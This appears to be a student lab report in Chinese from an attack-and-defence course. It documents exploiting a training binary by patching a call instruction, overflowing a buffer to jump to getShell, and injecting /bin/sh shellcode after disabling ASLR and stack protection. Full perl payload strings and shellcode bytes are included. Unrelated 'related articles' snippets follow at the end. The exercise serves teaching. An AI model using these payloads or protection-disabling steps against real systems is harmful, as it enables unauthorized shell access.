20232803 2023-2024-2 《网络攻防实践》实践九报告

目录

    • 1.实践内容
    • 2.实践过程
      • 2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
      • 2.3 注入一个自己制作的shellcode并运行这段shellcode
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数, foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


  • 实践内容如下:
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

  • 实验要求:
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.实践过程

  • 参考Ubuntu系统修改用户名和主机名修改主机名
    在这里插入图片描述

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 在学习通中下载目标文件pwn1上传到Kali中,将其重命名为pwn20232803
    在这里插入图片描述

  • 切换到桌面目录下,输入命令objdump -d pwn20232803 | more对该文件进行反汇编
    在这里插入图片描述

  • 敲击回车键,查看更多内容,找到main函数
    在这里插入图片描述
    main函数中我们可以看到call 8048491,而地址8048491正对应foo函数,即main函数调用了foo函数。继续查看foo函数,可以发现该函数实现了回显用户输入的字符串的功能。
    实验要求我们手动更改文件,使得它直接跳转到getShell函数。因此,我们需要对这一条指令进行修改。在修改之前,我们先对这条指令进行分析。
    对于80484b5: e8 d7 ff ff ff

    • 80484b5表示该指令的地址
    • e8表示跳转
    • d7 ff ff ff表示偏移量,这个偏移量是下一条要执行的指令的地址与目的地址之间的距离,以补码的形式表示,并且采用大端模式(低位字节存入高地址)存储,这里表示-41
    • 下一条要执行的指令的地址为80484ba,因此,这条指令的含义是:执行地址为80484ba - 41 = 8048491的指令,8048491正好对应foo函数的起点

    经过上述分析,修改程序执行流程就变得容易了。
    getShell函数的首地址为804847d,那么偏移量为804847d - 80484ba = -61 = 0xffffffc3,采用大端模式存储,即为c3ffffff
    因此,将这条指令修改为80484b5: e8 c3 ff ff ff即可实现直接跳转到getShell函数

  • 输入命令sudo apt install xxd安装xxd
    在这里插入图片描述

  • 输入命令vim pwn20232803打开文件
    在这里插入图片描述

  • 文件内容如下,可以看到都是乱码
    在这里插入图片描述

  • 输入:%!xxd将文件转换成16进制显示
    在这里插入图片描述

  • 输入/e8 d7进行搜索,然后敲击回车键
    在这里插入图片描述

  • i键进入输入模式,将d7修改为c3
    在这里插入图片描述

  • ESC键,输入:%!xxd -r转回原格式,然后输入:wq保存并退出
    在这里插入图片描述

  • 再次输入objdump -d pwn20232803 | more查看反汇编代码
    在这里插入图片描述
    可以看到这里显示了call 8048474 <getShell>,说明计算是正确的,并且修改成功

  • 输入./pwn20232803运行文件
    在这里插入图片描述
    可以看到该文件成功调用getShell函数获取了Shell

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 将刚才的pwn20232803文件重命名为pwn20232803-old,再上传一个pwn文件,重命名为pwn20232803

  • 再次输入objdump -d pwn20232803 | more查看反汇编得到的代码
    在这里插入图片描述
    可以看到,在foo函数中,调用了getsputs两个函数,如果输入的字符串长度超过了缓冲区容量,会发生缓冲区溢出的情况。
    foo函数共有0x38个字节作为存储空间,给输入的字符串分配了28字节(0x1c)的空间,我们要构造一个攻击输入字符串,使它能够将return的地址覆盖为getShell地址,从而通过调用getShell函数获取Shell

  • getShell的首地址为0x0804847d,该地址在指令中应该用\x7d\x84\x04\x08作为输入。由于我们通过键盘直接输入这种16进制数,所以采用以下命令将字符串输入并存储到文件中

perl -e 'print "wwwwwwwwwwjjjjjjjjjjllllllllllll\x7d\x84\x04\x08"' > input20232803
  • 输入命令xxd input20232803查看文件,确保字符串的最后4个字节为getShell函数的地址
    在这里插入图片描述
  • 输入命令(cat input20232803;cat) | ./pwn20232803input文件的内容作为pwn文件的输入,实施Bof攻击
    在这里插入图片描述
    提示拒绝访问
    • 修改pwn文件属性,勾选Allow this file to run as a program在这里插入图片描述
  • 再次运行命令(cat input20232803;cat) | ./pwn20232803,成功调用getShell获取Shell
    在这里插入图片描述
    BOF攻击成功!

2.3 注入一个自己制作的shellcode并运行这段shellcode

  • 进入以下网站下载execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
  • 输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压
    在这里插入图片描述
  • 输入命令sudo execstack -s ./pwn20232803将文件的堆栈设置为可执行状态
  • 输入命令sudo execstack -q ./pwn20232803检查是否设置成功
    在这里插入图片描述
  • 输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • 输入命令more /proc/sys/kernel/randomize_va_space检查是否关闭成功,输入0表示已关闭,输出1则为开启
    在这里插入图片描述
  • 构造攻击的方法有retaddr+nop+shellcodenop+shellcode+retaddr,我们选择前者,shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 使用以下命令构造shellcode的输入,其中\x1\x2\x3\x4将在后面替换为foo函数中retaddr的地址
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803input_shellcode文件的内容作为pwn文件的输入
    在这里插入图片描述
  • 打开另一个终端,输入命令ps -ef | grep pwn20232803查看pwn20232803文件的进程以及进程号
    在这里插入图片描述
    从输出结果中可以看到,pwn20232803文件的进程号为73465
  • 在该终端中继续输入gdb pwn20232803进行调试,以获取foo函数中retaddr的地址

注:若没安装gdb,则需要先输入sudo apt install gdb进行安装
在这里插入图片描述

  • 输入命令attach 73465查看进程,73465为刚刚查看的进程号
  • 输入命令disassemble foofoo函数进行反汇编
    在这里插入图片描述
    可以看到,ret的地址为0x080484ae
  • 输入命令break *0x080484ae设置断点,然后输入c继续执行

注:这里输入c后,要在第一个终端里按一下回车键,才能中断于断点处,否则将一直保持continuing状态

在这里插入图片描述

  • 输入命令info r esp查看栈顶指针所在的位置
    在这里插入图片描述
    栈顶指针所在的位置为0xffffd39c
  • 再输入命令x/16x 0xffffd39c查看该位置存放的内容
    在这里插入图片描述
    其中,0x04030201即为返回地址的位置。因此,栈顶指针的地址 + 4即为shellcode的地址。
0xffffd39c + 4 = 0xffffd3a0
  • 将之前shellcode输入中的\x1\x2\x3\x4采用大端模式替换为\xa0\xd3\xff\xff
perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803再次运行,成功获取Shell
    在这里插入图片描述
    攻击成功!

3.学习中遇到的问题及解决

  • 问题1:输入vim pwn20232803打开文件后,输入:%!xxd无法转换成16进制
    • 解决方案:原因是没有安装xdd,使用sudo apt install xdd进行安装
  • 问题2:在shellcode实验中,gdb调试时输入c后,一直保持在continuing的状态
    • 解决方案:在第一个终端中按回车键,gdb便能继续运行了

4.实践总结

这次实践分为三个部分:

  • 第一个实践让我深入了解了汇编指令和机器码的工作原理,使我能够准确地修改机器指令,改变程序的执行流程。
  • 在第二个实践中,通过利用缓冲区溢出漏洞,我学会了如何构造特定的输入字符串来覆盖函数的返回地址并触发目标函数,这个过程让我深刻理解了缓冲区溢出攻击的原理和危害。
  • 在第三个实践中,通过注入自己制作的Shellcode,可以执行特定的命令或程序。但要注意的是,系统一般有防御机制来阻止恶意代码的注入和执行,如地址随机化、栈保护等。在注入Shellcode之前,需要先绕过这些保护机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1424479.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

从独立开发者到成为SeaTunnel社区的贡献者,我做对了哪些事儿?

个人介绍 大家好&#xff0c;我是闫成雨&#xff0c;目前是一名独立开发者。专注于数据开发、机器学习、资源调度算法和分布式系统。 GitHub ID: CheneyYin 个人主页&#xff1a;https://cheneyyin.github.io/ 为社区做了哪些贡献 加强了Spark引擎和Flink引擎对SeaTunnel数据…

链接表存储图(C++注释详解): 构建表 深度优先遍历 (DFS)

链接表的结构体单元: #define size 100 typedef struct node {int idx;//下一个节点的索引int wt;//权重, 也可根据实际情景存储边的信息struct node* next; }Node; Node* hd[size]; // 存储图的邻接表 链接表的的构建: int main() {int n, m;cin >> n >> m; //…

script标签以及defer和async属性

1. <script>标签 将JavaScript代码嵌入到HTML中主要方式是使用<script>元素。 使用<script>的方式有两种&#xff1a; &#xff08;1&#xff09;直接在网页中嵌入JavaScript代码&#xff1a; <script>function sayHi() {console.log("Hi"…

slugify,slug格式转换工具

目录 前言 安装 特性 基本功能 生成简单的Slug 处理特殊字符 Unicode支持 高级功能 自定义替换规则 过滤停用词 使用不同的分隔符 处理多种语言 实际应用场景 网站和博客的SEO优化 电子商务平台的产品链接 数据清洗和预处理 总结 前言 在Web开发中&#xff0c;生成易于…

在另外一个页面,让另外一个页面弹框显示操作(调佣公共的弹框)vue

大概意思是&#xff0c;登录弹框在另外一个页面中&#xff0c;而当前页面不存在&#xff0c;在当前页面中判断如果token不存在&#xff0c;就弹框出登录的弹框 最后一行 window.location.href … 如果当前用户已登录&#xff0c;则执行后续操作(注意此处&#xff0c;可不要)

汇聚荣:拼多多长期没有流量如何提高?

在电商的海洋中&#xff0c;拼多多以其独特的团购模式吸引了众多消费者的目光。然而&#xff0c;随着市场竞争的加剧和消费者需求的多样化&#xff0c;一些商家发现自家店铺的流量持续低迷&#xff0c;销售业绩难以突破。面对这样的挑战&#xff0c;如何有效提升拼多多店铺的客…

shell脚本之sort,uniq,tr,cut,sphit,paste,ecal与正则表达式

sort命令 uniq命令 tr命令 cut命令 sphit命令 paste命令 ecal命令 正则表达式 sort命令 sort命令---以行为单位对文件内容进行排序&#xff0c;也可以根据不同的数据类型来排序 比较原则是从首字符向后&#xff0c;依次按ASCII码值进行比较&#xff0c;最后将他们按升序…

思科模拟器--2.静态路由和默认路由配置24.5.15

首先&#xff0c;创建三个路由器和两个个人电脑。 接着&#xff0c;配置两台电脑的IP&#xff0c;子网掩码和默认网关 对Router 0&#xff0c;进行以下命令&#xff1a; 对Router进行以下命令&#xff1a; 对Router2进行以下命令&#xff1a; 本实验完成。 验证&#xff1a;PC…

基于SpringBoot设计模式之创建型设计模式·工厂方法模式

文章目录 介绍开始架构图样例一定义工厂定义具体工厂&#xff08;上衣、下装&#xff09;定义产品定义具体生产产品&#xff08;上衣、下装&#xff09; 测试样例 总结优点缺点与抽象工厂不同点 介绍 在 Factory Method模式中&#xff0c;父类决定实例的生成方式&#xff0c;但…

AutoNeRF:Training Implicit Scene Representations with Autonomous Agents

论文概述 《AutoNeRF》是由Pierre Marza等人撰写的一篇研究论文&#xff0c;旨在通过自主智能体收集数据来训练隐式场景表示&#xff08;如神经辐射场&#xff0c;NeRF&#xff09;。传统的NeRF训练通常需要人为的数据收集&#xff0c;而AutoNeRF则提出了一种使用自主智能体高效…

Yalmip使用教程(8)-常见报错及调试方法

博客中所有内容均来源于自己学习过程中积累的经验以及对yalmip官方文档的翻译&#xff1a;https://yalmip.github.io/tutorials/ 这篇博客将详细介绍使用yalmip工具箱编程过程中的常见错误和相应的解决办法。 1.optimize的输出参数 众所周知&#xff0c;optimize是yalmip用来求…

Tomcat无法连通的调试方法1-service方式无法连通

作者&#xff1a;私语茶馆 1.局域网Tomcat服务不通 组网如下&#xff1a; 问题&#xff1a; Tomcat Server 服务方式启动后&#xff0c;无法访问&#xff0c;但命令行方式启动可以。IP地址都在同网段或不同网段现象都一样。 2.Tomcat 服务安装与调试 在Windows下&#xff0c;…

Cadence 16.6 绘制PCB封装时总是卡死的解决方法

Cadence 16.6 绘制PCB封装时总是卡死的解决方法 在用Cadence 16.6 PCB Editor绘制PCB封装时候&#xff0c;绘制一步卡死一步&#xff0c;不知道怎么回事儿&#xff0c;在咨询公司IT后&#xff0c;发现是WIN系统自带输入法的某些热键与PCB Editor有冲突&#xff0c;导致卡死。 …

第十四届蓝桥杯大赛软件赛国赛C/C++ 大学 B 组 拼数字

//bfs只能过40%。 #include<bits/stdc.h> using namespace std; #define int long long int a,b,c,dp[2028]; struct s {int x,y,z;string m; }; map<vector<int>,int>k; signed main() {ios::sync_with_stdio(false);cin.tie(0),cout.tie(0);cin>>a…

[链表专题]力扣141, 142

1. 力扣141 : 环形链表 题 : 给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整数 pos 来表示链表尾…

git 基础

【一】介绍 &#xff08;1&#xff09;软件开发模式 瀑布式开发 线性、顺序的开发流程&#xff0c;严格按照需求分析、设计、编码、测试、交付等阶段进行。每个阶段都必须在前一个阶段完成后才能开始&#xff0c;因此开发周期长&#xff0c;难以应对需求变更。适用于需求明确…

2024网上可申请离婚,无需对方同意!

&#x1f383;很多客户决定离婚之后却因为不了解离婚流程没准备好所需材料&#xff0c;导致离婚失败&#xff0c;或者无故被对方e意拖延&#xff0c;无计可施&#xff0c;无可奈何&#xff01; &#x1f383;别怕&#xff0c;2024年离婚新规定已发布&#xff0c;离婚变的简单了…

利用管道通信(pipe)测量进程间的上下文切换(context switch)开销

利用管道通信(pipe)测量进程间的上下文切换(context switch)开销 《https://pages.cs.wisc.edu/~remzi/OSTEP/cpu-mechanisms.pdf》 Measuring the cost of a context switch is a little trickier. The lmbench benchmark does so by running two processes on a single CPU…

山东大学计算机考研数据分析,初复试占比6:4,复试内容不少得花精力准备!

山东大学&#xff08;ShandongUniversity&#xff09;&#xff0c;简称山大&#xff0c;位于中国山东&#xff0c;是中华人民共和国教育部直属的综合性全国重点大学&#xff0c;是国家“211工程”、“985工程”重点建设院校&#xff0c;入选“111计划”、“珠峰计划”、“卓越工…